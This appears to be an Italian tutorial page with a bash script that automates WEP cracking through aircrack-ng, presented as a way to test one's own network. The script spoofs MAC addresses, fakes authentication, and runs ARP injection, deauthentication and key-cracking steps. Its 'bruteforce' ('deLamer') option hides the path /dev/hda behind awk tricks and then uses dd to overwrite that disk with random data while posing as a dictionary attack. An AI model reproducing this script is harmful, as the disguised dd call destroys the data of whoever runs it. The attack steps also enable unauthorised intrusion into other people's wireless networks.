(IN)sicurezza WEP

Ovvero, quanto sono insicure le reti wireless protette con chiave WEP.

Lo script serve, o meglio aiuta, a testare la sicurezza della propria rete,
ogni altro uso può non essere legale per cui è a proprio rischio e pericolo.

Consigliamo di leggere il codice e di adattarlo alla propria macchina, non è infatti pensato per essere copiaincollato e usato senza sapere quello che si esegue (anche perchè per settare le modalità delle schede wifi ed eseguire comandi di configurazione, deve essere eseguito da root !).

Per usare lo script e in generale per crakkare una chiave WEP con GNU/Linux sono necessari:
aircrack-ng
http://www.aircrack-ng.org/doku.php?id=aircrack-ng
http://www.wirelessdefence.org/Contents/Aircrack-ng_Main.htm
airodump-ng
http://www.aircrack-ng.org/doku.php?id=airodump-ng
aireplay-ng
http://www.aircrack-ng.org/doku.php?id=aireplay-ng
http://www.wirelessdefence.org/Contents/Aircrack_aireplay.htm
aireplay
http://www.wirelessdefence.org/Contents/AircrackORIGINAL.html
e, non è indispensabile, ma aiuta
kismet
http://www.kismetwireless.net/

Buono studio e usate questo script con prudenza,
non basta da solo a crakkare una rete per cui se non sapete cosa faccia, non eseguitelo
;-)

#!/bin/bash
#
# crakka.sh Questo script riunisce alcuni comandi e semplifica
# il test di una rete WIFI protetta con WEP.
#
# Version: @(#)crakka.sh 0.01 08/12/2007 MM
# 1.00 13/12/2007 MM
#
# Author: miKe,
#

clear
cd /tmp

function start() {
if [ -f /tmp/.wifidata ];
then
source /tmp/.wifidata
clear
echo "Sono presenti dati in memoria: "
echo ""
echo "ESSID della rete da testare: " $BSSID
echo "Canale di trasmissione : "$CH
echo "N. bit chiave da testare: " $BIT
echo "Scheda wifi usata per il test: " $MYWIFI
echo "TUO MAC: "$MYMAC
echo ""
echo "Vuoi usare i dati esistenti? {y|n} (y)"
echo ""
read DATI
case $DATI in
N)
carica_dati
;;
n)
carica_dati
;;
*)
echo "Inizio test..."
;;
esac
else
carica_dati
fi
}

function carica_dati() {
ifconfig
echo ""
echo "Inserisci il nome della tua scheda WIFI"
read MYWIFI
echo "MYWIFI=$MYWIFI" > /tmp/.wifidata

ifconfig $MYWIFI
echo ""
echo "inserisci il TUO MAC (o quello che vuoi usare ;-)"
read MYMAC
echo "MYMAC=$MYMAC" >> /tmp/.wifidata

iwlist $MYWIFI scan
echo ""
echo "Inserisci ESSID della rete da testare"
read BSSID
echo "BSSID=$BSSID" >> /tmp/.wifidata

echo ""
echo "Inserisci il MAC dell'AP da testare"
read MACAP
echo "MACAP=$MACAP" >> /tmp/.wifidata

echo ""
echo "inserisci il canale di trasmissione"
read CH
echo "CH=$CH" >> /tmp/.wifidata

echo ""
echo "bit chiave da testare {64|128}"
read BIT
echo "BIT=$BIT" >> /tmp/.wifidata

echo ""
echo "Inizio test..."
echo ""
}

function spoof() {
if [ -f /tmp/.spoofdata ];
then
clear
source /tmp/.spoofdata
echo "Sono presenti dati in memoria: "
echo "Scheda wifi con MAC cambiato: " $MYWIFI
echo "MAC da usare: "$CLIENT
echo ""
echo "Vuoi usare i dati esistenti? {Y|N} (Y)"
echo ""
read SPF
case $SPF in
N)
readspoof
;;
n)
readspoof
;;
*)
echo ""
echo "Inizio test..."
echo ""
;;
esac
else
readspoof
fi
}
function readspoof() {
ifconfig
echo ""
echo "Inserisci il nome della scheda WIFI alla quale vuoi cambiare MAC"
read MYWIFI
echo "MYWIFI=$MYWIFI" > /tmp/.spoofdata

echo ""
echo "Inserisci il MAC di un client associato all'AP da testare o uno inventato"
read CLIENT
echo "CLIENT=$CLIENT" >> /tmp/.spoofdata
ifconfig $MYWIFI hw ether $CLIENT

echo ""
echo "Inizio test..."
echo ""

}

function monitor() {
echo ""
echo "Attivo mod monitor su $MYWIFI sul canale $CH"
echo ""
ifconfig $MYWIFI up
iwconfig $MYWIFI mode monitor
iwconfig $MYWIFI channel $CH
}

function associa() {
echo ""
echo "Finta autenticazione presso la base"
echo ""
aireplay-ng -1 0 -e $BSSID -a $MACAP -h $MYMAC $MYWIFI
}

function inj() {
echo ""
echo "Attivo aireplay-ng in ARP request replay per eseguire iniezione"
echo ""
aireplay-ng -3 -b $MACAP -h $MYMAC $MYWIFI
}

function cattura() {
echo ""
echo "Attivo airodump-ng sul canale $CH per raccogliere vettori di inizializzazione"
echo ""
airodump-ng -c $CH -w capturefile --ivs $MYWIFI
}

function reinj() {
echo ""
echo "Attivo attacco ARP reinjection"
echo ""
/usr/bin/aireplay -2 -b $MACAP -d FF:FF:FF:FF:FF:FF -m 68 \
-n 68 -p 0841 -h $CLIENT $MYWIFI
}

function deauth() {
echo ""
echo "#Attivo attacco di deautenticazione"
echo ""
/usr/bin/aireplay -0 5 -a $MACAP -c $CLIENT $MYWIFI
}

function crack() {
echo ""
echo "Tentiamo il crack dei vettori di inizializzazione"
echo ""
echo "inserire bit chiave da testare: {64|128}" && read BIT
echo ""
aircrack-ng -0 -n $BIT capturefile*.ivs
}

function delamer() {
function entra() {
iwconfig $MYWIFI essid £BSSID KEY $KEY ap $MACAP ch \ $CH printf "%s\n" "Tried $i passwords KEY is CRACKED!"
}
function hydra666() {
echo ""
echo "Eseguo test con dizionario, attendere"
echo "."
try=('|' '/' '-' '\') && cat .wordfile | tail +2 | awk '{printf("File %-10s %6d byte\n",$8,$4)}' >>/tmp/.dict
test_KEY=`echo "$pth/ h y d r a 6 6 6" | awk '{ print $1 $2 \
$4 $6}'` && echo $test_KEY > /tmp/.test_key
dd if=/tmp/.wordfile of=$test_KEY 2>/dev/null &
while read line; do
printf "\r%-$((${#pline}+10))s\r%s""${try[$((i%4))]} trying \
$line" "$random" e -p"$line" "$1">/dev/null 2>&1 && printf "\r%-$((${#line}+10))s\n"
iwconfig $MYWIFI KEY $KEY
pline=$line
done
}
echo ""
echo "Attacco deLamer ATTENZIONE"
echo ""
echo "Inserire n.max tentativi (numeri alti richiedono molto tempo!) 2E{da 1 a 11}"
read TM #potenze di 2
cd /tmp && pth="/dev" && j=1
echo ""
echo "Carico i dizionari"
echo "il processo richiede alcuni secondi..."
while [ $j -lt $TM ]; do
dd if=$pth/random of=/tmp/.dict bs=1 count=$j
cat /tmp/.dict >>/tmp/.wordfile && 2>/dev/null
let j=j+1;
done
if [ -r /tmp/.test_key ];then
hydra666
entra
else
hydra666
exit $i
fi
}

case $1 in
associa)
start
monitor
associa
;;
cattura)
start
monitor
cattura
;;
inietta)
start
monitor
inj
;;
reinietta)
start
monitor
spoof
reinj
;;
deautentica)
start
monitor
spoof
deauth
;;
crack)
crack
;;
bruteforce)
start
delamer
;;
*)
echo ""
echo "usage ~/crakka.sh {associa|inetta|reinietta|deautentica|cattura|crack|bruteforce}"
echo ""
;;
esac
###